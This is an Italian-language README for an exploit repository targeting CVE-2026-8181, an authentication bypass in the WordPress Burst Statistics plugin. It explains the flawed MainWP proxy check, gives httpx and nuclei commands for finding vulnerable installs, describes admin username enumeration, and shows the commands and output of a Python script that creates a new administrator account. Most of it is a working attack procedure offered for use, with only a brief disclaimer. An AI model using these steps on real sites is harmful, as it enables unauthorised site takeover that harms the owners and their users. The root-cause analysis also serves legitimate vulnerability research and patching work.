
Exploit per il CVE-2026-8181 - Bypass dell'autenticazione del plugin WordPress Burst Statistics
Exploit per la CVE-2026-8181 scoperta da Chloe Chamberland e PRISM.
Questo repository è fornito esclusivamente a scopo di ricerca e sicurezza difensiva. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni.
Il plugin Burst Statistics – Privacy-Friendly WordPress Analytics per WordPress è vulnerabile a un Bypass dell'autenticazione che consente l'escalation dei privilegi ad Amministratore nelle versioni dalla 3.4.0 alla 3.4.1.1.
La vulnerabilità risiede nel metodo is_mainwp_authenticated() del proxy MainWP del plugin, che considera erroneamente qualsiasi valore di ritorno non-WP_Error da wp_authenticate_application_password() come un'autenticazione riuscita.
Ciò consente ad attaccanti non autenticati che conoscono un nome utente amministratore valido di impersonare quell'amministratore per l'intera durata di qualsiasi richiesta REST API, inclusi gli endpoint core di WordPress come POST /wp-json/wp/v2/users. Le credenziali dell'amministratore esistente non vengono mai compromesse, ma l'attaccante ottiene i suoi privilegi per il tempo sufficiente a creare un account amministratore completamente nuovo.
La catena della vulnerabilità è la seguente:
includes/class-burst.php:41 -> Il plugin registra init() su plugins_loaded alla priorità 9, che esegue bootstrap() e chiama has_admin_access() per ogni richiesta (incluse quelle REST).
includes/Traits/trait-admin-helper.php:202 -> Quando la richiesta trasporta l'header X-BurstMainWP: 1, has_admin_access() istanzia MainWP_Proxy e delega l'autenticazione a is_mainwp_authenticated().
includes/Frontend/class-mainwp-proxy.php:314 -> Il metodo legge l'header Authorization, decodifica le credenziali Basic e inoltra / forniti dall'attaccante a del core di WordPress.
Una singola richiesta HTTP con una password fittizia è quindi sufficiente per impersonare qualsiasi amministratore a livello di REST API del core di WordPress.
Plugin attivo — l'HTML della homepage fa riferimento alle sue risorse solo quando il plugin è in coda (enqueued):
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
Versione — readme.txt viene servito staticamente ed espone la versione installata (vulnerabile: 3.4.0–3.4.1.1, corretta: 3.4.2+):
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
Il template nuclei CVE-2026-8181.yaml incluso automatizza entrambi i controlli e il confronto delle versioni:
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
Una volta rilevata una versione vulnerabile del plugin, lo sfruttamento richiede di conoscere un nome utente amministratore valido. La REST API di WordPress li espone nella maggior parte delle installazioni tramite l'endpoint pubblico degli utenti:
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
Quando quell'endpoint è protetto (ad es. da Disable REST API o Stop User Enumeration), il trucco dell'archivio autore (/?author=N) di solito rivela comunque il nome utente tramite il redirect a /author/<username>/.
Con un nome utente valido in mano, l'exploit crea un nuovo account amministratore con una singola richiesta:
Installa le dipendenze Python:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Esegui l'exploit contro il target, fornendo un nome utente amministratore noto con -u:
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
Esempio di output:
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
Accedi a /wp-admin/ con l'account amministratore appena creato.
Il bypass si attiva solo se l'header Authorization raggiunge PHP tramite $_SERVER['HTTP_AUTHORIZATION']. Su Apache + mod_php con permalink semplici (la configurazione predefinita di WordPress), non viene generato alcun .htaccess e l'header viene rimosso silenziosamente — l'exploit non può avere successo.
Passare a qualsiasi permalink non semplice in Impostazioni → Permalink fa sì che WordPress 5.6+ scriva la direttiva RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] nel .htaccess, ripristinando l'inoltro. Nginx + PHP-FPM e LiteSpeed inoltrano Authorization per impostazione predefinita indipendentemente dai permalink. Il fatto che i permalink "pretty" siano la norma SEO in produzione è il motivo per cui questa vulnerabilità è valutata CVSS 9.8 non autenticata.
L'exploit prova prima /wp-json/wp/v2/users e poi ripiega su /index.php?rest_route=/wp/v2/users, quindi il routing degli endpoint non è mai il blocco — lo è solo l'inoltro dell'header.
usernamepasswordwp_authenticate_application_password()includes/Frontend/class-mainwp-proxy.php:328-329 -> Il valore di ritorno viene controllato solo con is_wp_error(). Il core di WordPress restituisce $input_user invariato (qui null) quando le Application Password non sono in uso oppure quando la richiesta non è contrassegnata come richiesta API. Alla priorità 9 di plugins_loaded la REST API non ha ancora impostato il filtro application_password_is_api_request su true, quindi la seconda condizione è sempre soddisfatta quando viene eseguito il codice vulnerabile — e null non è un WP_Error, quindi il controllo viene superato.
includes/Frontend/class-mainwp-proxy.php:336 -> Viene chiamato wp_set_current_user( $user->ID ) con l'utente individuato esclusivamente dal nome utente fornito dall'attaccante, impostando l'utente autenticato globalmente per l'intera richiesta.